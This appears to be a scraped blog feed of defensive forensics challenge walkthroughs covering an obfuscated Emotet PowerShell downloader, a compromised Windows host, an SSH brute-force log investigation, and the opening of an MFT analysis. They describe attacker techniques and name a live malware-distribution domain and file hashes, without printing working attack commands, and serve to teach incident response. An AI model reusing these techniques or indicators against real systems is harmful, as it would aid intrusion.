to separate the commands into individual lines.\nApplying the Split Operation\nFinally, we have a much more readable version of the script which we can use to perform our analysis.\nTo answer Question 1, we need to identify the “security protocol” being used for communication with the malicious domain. We can locate this information in the script by finding the line referencing “security protocol,” where it shows a value of TLS12 or Transport Layer Security version 1.2.\nIdentifying the Security Protocol in the script\nQuestion 2: What directory does the obfuscated PowerShell create? (Starting from \\HOME) Next, we’ll need to identify what directory the script creates. Since this is an obfuscated script, it’s not as straightforward as answering Question 1.\nTo find the first clue, let’s read through the script contents until we stumble across the highlighted variable cREAtedIRECTORy$HOME. This seems like a good place to start searching since there is a reference to the CreateDirectory method, and there are some obfuscated characters next to this string which might contain the file path.\nIdentifying the CreateDirectory method.\nLet’s scroll further down for more clues where we’ll find a second reference to $HOME. The trick is that the string doesn’t look how we would expect a directory path to appear, so we’ll need to apply another operation to our CyberChef recipe to decode the correct file path structure.\nIdentifying the directory variable\nIf we look at the end of the variable, we can see the string UOH. Highlighting this reveals several instances in the same line. What if we replace this string with \\ instead? Apply another “Find / Replace” to see the results.\nIdentifying the string to replace\nApplying a second Find/Replace operation\nOnce we perform this replacement, we can see a clear file path declared by the variable. Let’s check our work and move on to the next question.\nQuestion 3: What file is being downloaded (full name)? Now that we’ve uncovered the directory the script creates, we’ll need to identify the name of the file it downloads. To locate this information, let’s search for clues in the script that point toward download activity. We can find this toward the bottom of the script in the [SysTem.nEt.WEBcLIeNT.doWNlOaDFIle](https://learn.microsoft.com/en-us/dotnet/api/system.net.webclient?view=net-9.0) method, which is used to download data from a URI resource to a file — in this case, the URIs we decoded earlier.\nAt the end of the line, notice the reference to the variable $Imd1yck. This is the same variable that contains the directory we identified in the previous question.\nIdentifying DownloadFile activity in the script\nGoing back to the previous question, at the end of the line, we will see the file extension .dll appended to a variable, indicating the downloaded file. Highlighting the file name variable, we are shown another location in the script where the variable is declared, and we can see the data it contains — this is the file name we are searching for to answer Question 3.\nIdentifying the name of the downloaded file\nQuestion 4: What is used to execute the downloaded file? To determine how the A69S.dll file is executed, we need to look for another method in the script that executes this file. To find it, highlight the variable name $Imd1yck, which indicates the file path. Performing this action highlights all instances in the CyberChef output.\nLet’s look more closely at the last hit where we can see rundll32 being used to execute the downloaded file (T1218.001).\nIdentifying rundll32\nQuestion 5: What is the domain name of the URI ending in ‘/6F2gd/’ To answer Question 5, we’ll need to locate the domain name of a specific URI. Since we have already done the legwork and deobfuscated the URLs, we can leverage the “Find” function within CyberChef:\nClick anywhere inside of the “Output” window. Press Ctrl+F to bring up the search box. Enter /6F2gd/ in the search box to identify the domain. Identifying the domain name for the specified URI\nQuestion 6: Based on the analysis of the obfuscated code, what is the name of the malware? We’ve made it to the last question. Our final task is to correlate all the evidence we’ve discovered in the script to figure out the name of the malware. To do this, let’s start with the domain we discovered in the last question and pivot to some external threat intelligence services for further investigation.\nWe’ll start with URLhaus, a platform offered by cyber threat intelligence provider abuse.ch that is “dedicated to sharing malicious URLs that are being used for malware distribution,” and search the database for the domain name we found in Question 5.\nhttps://urlhaus.abuse.ch/browse.php?search=wm.mcdevelop.net\nFollowing our search, we have a hit! We can see in the “tags” area that this domain is associated with the Emotet malware family.\nhttps://urlhaus.abuse.ch/url/948889/\nThis is enough data to determine the malware family name we are searching for to complete the challenge. Now let’s wrap up this investigation!\nConclusion: There we have it — mission accomplished! Using CyberChef, we decoded and deobfuscated the malicious PowerShell script. By analyzing its contents, we determined the methods the script uses, URL it contacts, and the files the script downloads as a second stage. Then, using URLhaus, we pieced together the evidence to identify the malware as Emotet. Throughout the investigation, we referenced MITRE ATT\u0026amp;CK and Microsoft Learn to better understand how the script operates, giving us a comprehensive view of the attack.\nNow that we’ve scoped the attack and completed our objectives, let’s close out this walkthrough of the Malicious PowerShell Analysis challenge!\nA big thank you to Blue Team Labs Online for another engaging and challenging lab scenario. I chose this challenge to practice with CyberChef and keep my skills up to date. While I don’t often manually analyze scripts in my day job, it’s an essential skill to have in your toolkit to build confidence during incident response engagements, especially if you don’t have access to more advanced tools that can assist in your analysis. Awesome stuff!\nThanks for your support and partnering on this investigation. If you found this walkthrough helpful, don’t forget to give it a clap! Your feedback really is invaluable and it pumps me up to support your security journey. Cybersecurity is a team sport and we’re in this together!\nUntil next week’s challenge — stay curious and be safe out there!\nTools \u0026amp; References: REMnux: https://remnux.org/\nChallenge Link: https://blueteamlabs.online/home/challenge/malicious-powershell-analysis-bf6b52faef\nNotepad++: https://notepad-plus-plus.org/\nMITRE ATT\u0026amp;CK — Obfuscated Files or Information: Command Obfuscation ( T1027.010): https://attack.mitre.org/techniques/T1027/010/\nCyberChef: https://gchq.github.io/CyberChef/\nMicrosoft Learn — WebClient Class: WebClient Class (System.Net) | Microsoft Learn\nMITRE ATT\u0026amp;CK — System Binary Proxy Execution: Rundll32 ( T1218.011): System Binary Proxy Execution: Rundll32, Sub-technique T1218.011 — Enterprise | MITRE ATT\u0026amp;CK®\nURLhaus: https://urlhaus.abuse.ch/browse.php?search=wm.mcdevelop.net\nMITRE ATT\u0026amp;CK — Software: Emotet ( S0367): https://attack.mitre.org/software/S0367/\n","date":"2025-04-06T00:00:00Z","image":"/posts/blue-team-labs-online-malicious-powershell-analysis-walkthrough/920afeb5d1988bb18dea8ff336e17033_MD5.png","permalink":"/posts/blue-team-labs-online-malicious-powershell-analysis-walkthrough/","title":"Blue Team Labs Online  —  Malicious PowerShell Analysis Walkthrough"},{"content":"TryHackMe — Investigating Windows Challenge Walkthrough A Windows endpoint forensic investigation using Event Viewer, PowerShell, and VirusTotal Image Credit: https://tryhackme.com/room/investigatingwindows\nIntroduction: If you’ve stumbled across this blog searching for a comprehensive walkthrough of the Investigating Windows challenge from TryHackMe, you’re in the right place. Welcome to my weekly walkthrough!\nInvestigating Windows is the first in a series of rooms within TryHackMe’s Investigating Windows module, and completing all three earns you a fancy badge on the platform. In the spirit of learning, this walk through will avoid spoilers. Since this is a FREE room, anyone can test their skills with Investigating Windows, perform the investigation along with me, and find the answers on their own as an entry point to Windows forensics.\nIn this scenario, we’re turned loose to investigate a compromised Windows endpoint and need to sleuth out how the attack unfolded. The tricky part? We’ll have no tools available to us, so we’ll hunt for the artifacts manually using the Windows Event Logs, Task Scheduler, Registry, and File Explorer. This is a great “back to basics” jumping-off point into digital forensics and incident response (DFIR) in the Windows world, with something interesting for all skill levels.\nAs we collect evidence, we’ll enrich our findings using MITRE ATT\u0026amp;CK, Microsoft Learn, and VirusTotal to add additional context and learn more about the attacker’s tactics and techniques. Sounds like fun, right? Let’s get into it!\nAnd if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.\nThanks for reading and going on this investigation with me!\nChallenge Scenario: A windows machine has been hacked, its your job to go investigate this windows machine and find clues to what the hacker might have done.\nThis is a challenge that is exactly what is says on the tin, there are a few challenges around investigating a windows machine that has been previously compromised.\nQuestion 1: Whats the version and year of the windows machine? To kick off our investigation, we need to identify the operating system details of the compromised device. Specifically, we need to determine the Windows version. One approach is to use the winver command. This can be executed from the “Run” box, or the Command Prompt.\nUsing the Run dialog box: Press Win + R to open the Run dialog box. Type winver and press Enter. Using the Command Prompt: Open the Command Prompt by typing cmd in the search bar and pressing Enter. Type winver and press Enter. The resulting output will display the below information, where we can collect the Windows version information for the environment.\nWinver Output\nQuestion 2: Which user logged in last? Now that we’ve identified the operating system version, we need to audit the logon activity for the system. For this walkthrough, we’ll use the Windows Event Log to query successful logon events, specifically filtering Event ID 4624 — “An account was successfully logged on.”\nTo do this:\nOpen Event Viewer: Press the Windows Start button and type “Event Viewer.” Navigate to Security Logs: In the Event Viewer, expand “Windows Logs” and select “Security”. Filter for Logon Events: In the “Actions” pane on the right, click “Filter Current Log”. In the “Event IDs” field, enter “4624\u0026quot; and click \u0026ldquo;OK\u0026rdquo;. Filtering the Security Log for Event ID 4624\nNow, the filtered log will display all successful logon events (Event ID 4624). Since the log is also capturing our Administrator login activity, scroll past the events for the current date to the previously logged date, 1/29/2021, to find the user logon activity before our session.\nIdentifying the last user logon session\nQuestion 3: When did John log onto the system last? Continuing to use our current filtering, we’ll use the “Find” function to locate the username John within the logs and determine the last date this user logged in to the system.\nIdentifying logon activity for the user John\nQuestion 4: What IP does the system connect to when it first starts? Now, let’s pivot away from the Windows Event Log and start to look for common persistence methods used by threat actors. The key to answering Question 4 is finding the IP address that the system connects to after it first starts.\nWith that in mind, we’ll check the Windows Registry Run Keys / Startup Folder (MITRE ATT\u0026amp;CK ID T1547.001). These methods allow a binary to execute on user login, creating persistence for the adversary.\nAccording to MITRE ATT\u0026amp;CK, the relevant run keys can be found in the following locations:\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce First, launch the Registry Editor:\nThen, navigate to the keys referenced by MITRE ATT\u0026amp;CK. While examining HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run, you may notice the string UpdateSvc. This string indicates a suspicious command connecting to an additional IP address.\nIdentifying a suspicious run key in the registry\nBy analyzing these often-abused registry keys, we’ve found a method of persistence used by the threat actor and an IP address, or indicator of compromise (IOC).\nQuestion 5: What two accounts had administrative privileges (other than the Administrator user)? Next, we’ll need to determine which other accounts have local administrative permission on the system. To find out, we’ll query the local administrators group with PowerShell by executing the command below.\nnet localgroup administrators\nAfter running the command, we’ll discover that three accounts are members of this group including the Administrator account that we’re using.\nQuestion 6, 7, 8: Whats the name of the scheduled task that is malicious. What file was the task trying to run daily? What port did this file listen locally for? The next step in our investigation is to search for a malicious scheduled task. By abusing the Windows Task Scheduler, a threat actor could create persistence by setting a malicious file to run at a specific time (T1053.005)\nFor this walkthrough, we’ll search for the malicious task using the command line tool schtasks, but the GUI Task Scheduler will work just as well if you prefer to explore it.\nFrom PowerShell, use the [schtasks](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks) command to query the task scheduler library. We’ll see a couple of suspicious entries listed.\nUsing schtasks to list tasks\nTo get more information about each task, use the following syntax:\nschtasks /query /FO LIST /V /TN \u0026ldquo;\u0026rdquo;\nSeveral tasks may look suspicious. For example, check the Clean file system task. Notice that its action is launch a PowerShell (.ps1) script, scheduled to run daily.\nUsing schtasks to query a task\nSince we’re searching for a persistence technique and this specific task launches a file with a listening port, it matches the criteria of Questions 6,7, \u0026amp; 8. This is the malicious task we are searching for.\nQuestion 9: When did Jenny last logon? Now let’s return to gathering information about the other users on the system. We’ll pivot back to our PowerShell console to do this. Instead of querying a group like we did back in Question 5, we’ll query the Jenny user account directly to find the Last logon field.\nTo query the last logon time for Jenny, use the following command:\nnet user jenny\nIdentifying the “Last logon” for the user Jenny\nBy executing this command, we’ve figured out when Jenny last logged on to the system — nice!\nQuestion 10: At what date did the compromise take place? Based on the scheduled task trigger date, we can start to create a rough timeline of when the attack occurred. To take this a step further, let’s closely examine the directory storing the .ps1 file for the malicious task we found in Question 7: C:\\TMP\nInside this directory, we’ll see a number of suspicious tools. All these files were staged in this folder on a specific date, which helps us pinpoint the date of compromise.\nThis information is crucial for understanding the timeline of the attack and properly scoping our investigation.\nQuestion 11: During the compromise, at what time did Windows first assign special privileges to a new logon? Now that we have scoped the date of the attack, we can start to narrow down our searches. To uncover the answer to Question 11, let’s return to the Windows Event Viewer searching for Event ID 4672, or “special privileges assigned to a new logon.”\nAccording to Microsoft Learn, this event “generates for new account logons if any of the following sensitive privileges are assigned to the new logon session.”\nTo find these events, perform the following steps in the Event Viewer:\nSelect “Windows Logs” \u0026gt; “Security”. Press “Filter Current Log…” in the right column. Click the drop-down menu for “Logged” and select “Custom Range”. In the “From” and “To” boxes, select “Events On” and select the date of the attack. Use the time ranges from 12:00:00 AM to 11:59:00 PM to display all events for the date, then press OK. Type “4672\u0026quot; in the Event ID field, then press OK. Filtering the Event Viewer for Event ID 4672 on the date of the attack\nBased on the question, your immediate instinct might be to look at the first event in the list, but spoiler that is incorrect. Let’s take a quick look at the question hint to narrow this down a bit.\nArmed with the clue, we can now locate the correct event and corresponding time stamp, determining when Windows first assigned special privileges to a new logon during the compromise.\nQuestion 12: What tool was used to get Windows passwords? You may have noticed throughout our investigation that a command prompt window keeps popping up randomly, right? You may have also seen another suspicious task in Task Scheduler or an alarming executable in the staging folder C:\\TMP.\nIf not, let’s take a closer look at the window where we’ll observe a familiar file path: C:\\TMP\\mim.exe\nTo determine the nature of this file, we can collect the file hash and check it against external threat services. Use the following PowerShell command to gather the file hash:\nget-filehash C:\\TMP\\mim.exe\nThen, we can take this hash and submit it to a service like VirusTotal to evaluate the sample.\nhttps://www.virustotal.com/gui/file/f8f1c210a8c863efc0f6b8ac3553030a14a702ce8cf573cb5e9cd58f70c7c622\nAfter confirming that the file is malicious, check the “Family labels” to determine what tool the sample is. If you’d prefer a simpler approach, another option is to open the tool\u0026rsquo;s output text file, mim-out from the directory. This will reveal which tool created the output and allows us to see what password hashes were exposed.\nhttps://attack.mitre.org/software/S0002/\nBy following these steps, we’ve identified the tool used to dump the Windows credentials and gathered more information about the attack.\nQuestion 13: What was the attackers external control and command servers IP? Now that we understand what method the attacker used for credential access, we’ll need to learn more about their infrastructure and discover the IP of their command and control server. I’ll admit that I spent far too much time digging through the scripts, event logs, and other artifacts on the system, so I’ll give you the short version of what worked.\nSince the victim device does not have a live internet connection, we’ll have to rely on artifacts on the system to piece together this information. One place we can check is the Windows hosts file, which performs manual IP address to hostname mappings, even overriding a DNS server. The file can be located at:\nC:\\Windows\\System32\\drivers\\etc\\hosts\nAfter examining the hosts file, we notice some strange entries, indicating that the attacker attempted to prevent the victim’s device from navigating to VirusTotal (whoops!), updating Sophos anti-malware products, and reaching Microsoft Update. Something sticks out here though. Most of these entries are for the local loopback IP address or a private IP address, but two entries are mapped to a public IP address. This anomaly is enough to warrant further investigation.\nFor the purposes of this walkthrough, we’ve found the answer — the public IP addresses in the hosts file likely belongs to the attacker’s command and control infrastructure.\nQuestion 14: What was the extension name of the shell uploaded via the servers website? To discover the answer to Question 14, let’s focus on a clue in the question itself: “shell uploaded via the servers website.” This tells us that the compromised device is also acting as a web server. In Windows, the IIS service typically stores the web server assets in the folder C:\\inetpub\\wwwroot.\nBy examining this directory on the compromised system, we’ll discover three potentially malicious files.\nCapturing the file hashes, we’ll pivot back over to VirusTotal to gather some additional intelligence to determine if we’ve identified WebShells (T1505.003) uploaded by the attacker for persistence.\nhttps://www.virustotal.com/gui/file/322e0bd2c20a01039fc235ba426d9d32b4960655609d0199066f828fb4904be4/detection\nhttps://www.virustotal.com/gui/file/85053b9b54db5ff616b40521670080139459655ac6162bdb839fcfb9574166ca\nUsing VirusTotal, we can analyze the file hashes to confirm if these files are indeed malicious WebShells. The file extension of the shell uploaded via the server’s website will be revealed through this analysis.\nQuestion 15: What was the last port the attacker opened? To determine the last port the attacker opened, we’ll turn our focus to searching for activity related to network ports. Specifically, we’ll assess the Windows Firewall rules to check if the attacker made any modifications to grant access through the firewall.\nInstead of blindly reviewing the firewall rules, let’s work a little smarter by auditing the event log again to check for any changes during the time of the attack.\nTo find Windows Firewall rule changes in the event log, follow these steps:\nNavigate to Event Viewer \u0026gt; Applications and Services Logs \u0026gt; Microsoft \u0026gt; Windows \u0026gt; Windows Firewall with Advanced Security \u0026gt; Firewall. Filter for “Events On” the date of the attack so that we can review the changes. While there many events captured, most look benign and expected for a Windows system — except one that sticks out due to the rule name and the user account that modified the rule.\nIdentifying a new Windows Firewall rule with the Event Viewer\nNext, let’s locate this rule in Windows Firewall with Advanced Security options by navigating to Inbound Rules. This console can be accessed by pressing the Windows “start” button and typing in “firewall.”\nValidating the new firewall rule in the Windows Firewall interface\nOnce we’ve located the rule that we discovered in the event logs, we can check the local port that was opened on the firewall by the attacker and identify the last port they opened.\nQuestion 16: Check for DNS poisoning, what site was targeted? We’ve made it to the last question for our investigation — great job! Fortunately, we’ve already stumbled across the answer for Question 16 during our analysis of the hosts file back in Question 13.\nThe answer we’re looking for is the host name entry associated with the command and control IP address we discovered. This entry indicates the site targeted by DNS poisoning.\nBy reviewing the hosts file again, we can confirm the targeted site and understand how the attacker manipulated DNS settings to redirect traffic to their command and control server. Now let’s wrap up this investigation!\nConclusion: Mission accomplished! Throughout this investigation, we combed through the Windows Event Logs to determine what users accessed the system and correlated event data during the timeframe of the attack. Using Registry Editor and Task Scheduler, we discovered the attacker’s methods of persistence and found evidence of payloads executing on logon and at scheduled intervals. Finally, we uncovered further evidence of the attack in the Windows Hosts File and File Explorer which we enriched using threat intelligence from VirusTotal.\nNow that we have scoped the attack and completed our objectives, let’s close out this walkthrough of the Investigating Windows!\nA big thank you to TryHackMe, for the fun and realistic challenge! This was an excellent opportunity for me to practice hands-on-keyboard analysis of a Windows environment to manually perform the investigation. It was a great lesson in the fundamentals of DFIR and promoted a creative analysis of the available artifacts to discover the answers to the questions. Awesome stuff!\nThanks for your support and partnering on this investigation. If you found this walkthrough helpful, don’t forget to give it a clap! Your feedback really is invaluable and it pumps me up to support your security journey. Cybersecurity is a team sport and we’re in this together!\nUntil next week’s challenge — stay curious and be safe out there!\nTools \u0026amp; References: -Challenge Link: https://tryhackme.com/room/investigatingwindows\n-MITRE ATT\u0026amp;CK — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder (T1547.001): https://attack.mitre.org/techniques/T1105/\n-MITRE ATT\u0026amp;CK — Scheduled Task/Job: Scheduled Task (T1053.005): https://attack.mitre.org/techniques/T1053/005/\n-Microsoft Learn — schtasks commands: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks\n-Microsoft Learn — 4624(S): An account was successfully logged on: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4624\n-VirusTotal — f8f1c210a8c863efc0f6b8ac3553030a14a702ce8cf573cb5e9cd58f70c7c622: https://www.virustotal.com/gui/file/f8f1c210a8c863efc0f6b8ac3553030a14a702ce8cf573cb5e9cd58f70c7c622\n-MITRE ATT\u0026amp;CK — Mimikatz (S0002): https://attack.mitre.org/software/S0002/\n-MITRE ATT\u0026amp;CK — Server Software Component: Web Shell (T1505.003): https://attack.mitre.org/techniques/T1505/003/\n-VirusTotal — 322e0bd2c20a01039fc235ba426d9d32b4960655609d0199066f828fb4904be: https://www.virustotal.com/gui/file/322e0bd2c20a01039fc235ba426d9d32b4960655609d0199066f828fb4904be4\n-VirusTotal — 85053b9b54db5ff616b40521670080139459655ac6162bdb839fcfb9574166ca: https://www.virustotal.com/gui/file/85053b9b54db5ff616b40521670080139459655ac6162bdb839fcfb9574166ca\n","date":"2025-03-30T00:00:00Z","image":"/posts/tryhackme-investigating-windows-challenge-walkthrough/30c68864a88586684d8601e229909247_MD5.png","permalink":"/posts/tryhackme-investigating-windows-challenge-walkthrough/","title":"TryHackMe  —  Investigating Windows Challenge Walkthrough"},{"content":"HackTheBox — Brutus Sherlock Walkthrough Investigating a Brute Force Attack Using the auth.log and wtmp log. Image Credit: https://app.hackthebox.com/sherlocks/Brutus/play\nIntroduction: Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive walkthrough of the Brutus challenge from Hack The Box, you’re in the right place. Imagine this scenario as we step into the shoes of a digital forensics analyst:\nChallenge Scenario: In this very easy Sherlock, you will familiarize yourself with Unix auth.log and wtmp logs. We’ll explore a scenario where a Confluence server was brute-forced via its SSH service. After gaining access to the server, the attacker performed additional activities, which we can track using auth.log. Although auth.log is primarily used for brute-force analysis, we will delve into the full potential of this artifact in our investigation, including aspects of privilege escalation, persistence, and even some visibility into command execution.\nThe adversary has brute-forced the SSH service on a web server, gained initial access, and we need to investigate how it happened and what else they did with their access to mitigate the threat. Our objective is to analyze the server’s auth.log and wtmp logs to create a detailed timeline of the attacker’s activities, including initial access, privilege escalation, and persistence. To analyze these logs, we’re going to leverage Notepad++ and utmpdump, then enrich our findings by pivoting to MITRE ATT\u0026amp;CK to fully understand the adversary’s tactics and techniques.\nSounds exciting, right? Let’s get dive right into it! If you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this. Thanks for reading and going on this investigation with me!\nQuestion 1: Analyze the auth.log. What is the IP address used by the attacker to carry out a brute force attack? Okay — let’s jump right into this challenge by opening the first provided artifact, auth.log. For context, auth.log is the server’s authentication log which is a good starting point to identify a brute force attack as we can analyze successful and failed logins.\nWhile there are other ways to approach the initial analysis, for this walkthrough, I’m going to simply use Notepad++ for my approach but feel free to choose any text editor you’d like!\nWith the artifact open, scroll through the events, and quickly we’ll observe dozens of lines returning Invalid user and Failed password from a single IP address, 65.2.161.68. The large number of failed attempts to access these accounts is indicative of brute force password guessing (MITRE ATT\u0026amp;CK — T1110.001).\nSnippet from auth.log revealing failed username and password guessing attempts.\nQuestion 2: The bruteforce attempts were successful and attacker gained access to an account on the server. What is the username of the account? Now that we’ve discovered the attacker’s IP address, we’ll need to determine what account they successfully accessed. To do this, we’ll first need to understand what a successful login looks like. For example, toward the top of the log on lines 11–15, we’ll find a successful login for the root user from the IP address 203.101.190.9.\nauth.log snippet showing a successful sign-in.\nHaving this information gives us a couple of strings that we can search for in the logs by using the “find” function to search for “accepted password,” indicating a successful login event. Let’s keep searching to see what other accounts logged in.\nNotice anything suspicious on line 281? The next hit that we’ll locate is another login from the root user, but this time, the connecting IP address is the attacker’s — 65.2.161.68.\nQuestion 3: Identify the timestamp when the attacker logged in manually to the server to carry out their objectives. The login time will be different than the authentication time, and can be found in the wtmp artifact. From the sign-in records in the auth.log, we’ve started to gather a rough timeline of the attack. However, we need to correlate this with the second log artifact, wtmp, which contains only the successful login/logout events on the system, for a comprehensive picture of the login activity.\nThe tricky part is that wtmp is a binary log file, so we can’t simply use Notepad++ to read it like we did for auth.log. Instead, we’ll need to leverage a Linux-based tool like last to read it. According to the Ubuntu manpages:\nlast searches back through the /var/log/wtmp file (or the file designated by the -f option) and displays a list of all users logged in (and out) since that file was created.\nIf you’re using a Linux-based analysis environment like I am, you’re in good shape. If you’re using a Windows-based environment, you can utilize something like the Windows Subsystem for Linux (WSL) to access this utility. For this walkthrough, I’ll post screenshots from both my REMnux environment and the WSL output for your reference. Let’s try putting this all together, adding in the full timestamps which we can access with the -F argument.\nlast -F -f wtmp\nlast command output in REMnux\nlast command using WSL\nWe’re getting closer but notice that the timestamp doesn’t quite match what we found in auth.log. While we can assume that there’s a mismatch between the system time and the local time, let’s try interpreting wtmp another way using a different utility, utmpdump. According to the manpages, utmpdump is “a simple program to dump UTMP and WTMP files in raw format, so they can be examined.” Let’s try it out and see what we can discover.\nutmpdump wtmp\nutmpdump in REMnux\nutmpdump in WSL\nBingo! By dumping the wtmp with utmpdump we can locate the correct timestamp for the attacker’s login to the server. Now that we’ve established a firm timeline, let’s proceed with our investigation.\nQuestion 4: SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker’s session for the user account from Question 2? Now that we’ve identified the timestamp of the attacker’s login, let’s find the corresponding timestamp of the SSH session in the auth.log on line 322. Examining the nearby events more closely, we can see that on line 324, the new session is assigned the ID 37.\nIdentifying the attacker’s session ID in auth.log\nQuestion 5: The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account? When analyzing the wtmp in Question 3, you may have noticed another user account other than root present in the logs from the attacker’s IP address — cyberjunkie.\nutmpdump in REMnux highlighting a second user account\nLet’s double-verify this finding in the auth.log by searching for this username where we can confirm the activity.\nSearching the auth.log for activities from the cyberjunkie account\nQuestion 6: What is the MITRE ATT\u0026amp;CK sub-technique ID used for persistence by creating a new account? Now that we understand the attacker brute-forced access to the root account and created a second account, cyberjunkie, for persistence, we need to map this technique to MITRE ATT\u0026amp;CK for additional intelligence.\nAfter navigating to the MITRE ATT\u0026amp;CK website, we can evaluate the techniques listed under the persistence tactics. Eventually we’ll stumble across the technique “Create Account” (T1136) which seems to fit. On the page for this technique, we can evaluate the various sub-techniques, such as “Local Account” (T1136.001), leading us to the answer for Question 6.\nMITRE ATT\u0026amp;CK — Create Account (T1136) — Sub-Techniques\nCreate Account: Local Account _Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an…_attack.mitre.org\nQuestion 7: What time did the attacker’s first SSH session end according to auth.log? Now, let’s jump back to auth.log and analyze when the attacker’s first SSH session as the root user ended. In the log, we’ll search for “disconnect” events from the attacker’s IP, which we can find on lines 355–359.\nauth.log snippet showing SSH session disconnect\nFor double verification, we also stumbled upon this answer when we used last to read the wtmp log back in Question 3.\nValidating the session logout time in the wtmp log\nQuestion 8: The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo? For the final question of our investigation, let’s continue searching auth.log for activities performed by the cyberjunkie account, focusing specifically on events marked with sudo, or superuser, privileges.\nOn line 375, we’ll find something interesting: a command string leveraging curl to download a script from a GitHub repository.\nauth.log snippet exposing malicious ingress tool transfer (T1105)\nWhile out of scope for this challenge, the downloaded script seems to be a Linux persistence tool which would allow the attacker to maintain their access to the compromised server. From a defense perspective, having this knowledge gives us an idea of the attacker’s next moves.\nHowever, for the purposes of this challenge the command we found is all we need to answer Question 8 and conclude the investigation. Great job!\nConclusion: Case closed! Using the server’s auth.log and wtmp logs, we successfully identified the time of the attack, the attacker’s IP address, the compromised account, and their methods of persistence. During the investigation, we turned to MITRE ATT\u0026amp;CK to gain deeper insights into each technique, helping us better understand the adversary’s tactics and techniques. Now that we have scoped the attack and achieved our objectives, let’s close out this walkthrough of the Brutus challenge.\nA big thank you to Hack The Box, for another engaging and realistic challenge. I chose this challenge as I was unfamiliar with the wtmp logs and what additional artifacts they contain compared to the auth.log. It was incredibly fun and valuable to learn about these logs and how to read them using last and utmpdump. The hands-on practice will absolutely come in handy during real-world during incident response. Awesome stuff!\nThanks for your support and partnering on this investigation. If you found this walkthrough helpful, don’t forget to give it a clap! Your feedback really is invaluable and helps fuel my commitment to support your security journey. Cybersecurity is a team sport and we’re in this together!\nUntil next week’s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Challenge Link: https://app.hackthebox.com/sherlocks/Brutus\nNotepad++: https://notepad-plus-plus.org/\nMITRE ATT\u0026amp;CK — Brute Force (T1110): https://attack.mitre.org/techniques/T1110/\nMITRE ATT\u0026amp;CK — Brute Force: Password Guessing (T1110.001): https://attack.mitre.org/techniques/T1110/001/\nUbuntu Manpages — last: https://manpages.ubuntu.com/manpages/focal/man1/last.1.html\nUbuntu Manpages - utmpdump: https://manpages.ubuntu.com/manpages/focal/man1/utmpdump.1.html\nMITRE ATT\u0026amp;CK — Create Account: Local Account (T1136.001): https://attack.mitre.org/techniques/T1136/001/\nMITRE ATT\u0026amp;CK — Ingress Tool Transfer (T1105): https://attack.mitre.org/techniques/T1105/\n","date":"2025-03-16T00:00:00Z","image":"/posts/hackthebox-brutus-sherlock-walkthrough/31f7f048397385ab2d3044505fdddcd2_MD5.png","permalink":"/posts/hackthebox-brutus-sherlock-walkthrough/","title":"HackTheBox  — Brutus Sherlock Walkthrough"},{"content":"LetsDefend — NTFS Forensics Challenge Walkthrough Investigating a Compromised Endpoint\u0026rsquo;s $MFT Using MFTExplorer Image Credit: https://app.letsdefend.io/\nIntroduction: Welcome to my weekly walkthrough! If you\u0026rsquo;ve stumbled across this blog searching for a comprehensive walkthrough of the NTFS Forensics challenge from LetsDefend, you\u0026rsquo;re in the right place. Prepare to dive into the world of digital forensics and incident response (DFIR) as we uncover the malware artifacts hidden in the Master File Table.\nChallenge Scenario: As a digital forensics analyst with over a decade of experience, you are the go-to person in your organization for Windows disk forensics. Recently, an alert was triggered on a critical server used by administrators as a jump server. This server is frequently accessed for credential management and other sensitive operations, making it a high-value target. It has now been compromised. You are provided with only the Master File Table (MFT) of the endpoint. Your task is to uncover the actions taken by the threat actors on the endpoint.\nIn this scenario, we\u0026rsquo;re stepping into the shoes of a seasoned digital forensics analyst as a high-value server has been compromised. Our goal is to analyze the provided artifacts, uncovering critical details about the attack including the initial access method, how the malware got there, what it did after execution, and understand the indicators of compromise.\nThere\u0026rsquo;s just one small problem: we are only provided the Master File Table (MFT) database of the Windows-based endpoint, so we\u0026rsquo;ll need familiarize ourselves with a utility like Eric Zimmerman\u0026rsquo;s MFTExplorer to parse the MFT database and analyze the metadata within. Throughout our investigation, we\u0026rsquo;ll enrich our findings with external documentation from Microsoft Learn to have a comprehensive view of the attack.\nSounds like fun, right? Let\u0026rsquo;s work through this investigation together. If you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this. Thanks for reading and going on this investigation with me!\nQuestion 1: Identify the malicious downloaded file. What is the file name? Let\u0026rsquo;s dive right into this challenge! We\u0026rsquo;ll kick it off by extracting the challenge file from the archive in the ChallengeFile folder, leaving us with a curious file, $MFT.\nIf you aren\u0026rsquo;t familiar with the MFT, let\u0026rsquo;s build a foundational understanding about this rich source of forensic data according to Microsoft Learn:\n\u0026quot; # \u0026quot;\nThe NTFS file system contains a file called the master file table, or MFT. There is at least one entry in the MFT for every file on an NTFS file system volume, including the MFT itself. All information about a file, including its size, time and date stamps, permissions, and data content, is stored either in MFT entries, or in space outside the MFT that is described by MFT entries.\u0026quot;\nFor our forensic purposes, this means that if we can explore the contents of the MFT, present in the NTFS file system (like the one used in Windows), then we can view metadata for every file on the system.\nLet\u0026rsquo;s put this into practice. One option to analyze the MFT is using Eric Zimmerman\u0026rsquo;s MFTExplorer, a **\u0026quot; # \u0026quot;\n**_Graphical $MFT viewer\u0026quot;to parse the provided MFT file and explore it with a graphical interface. 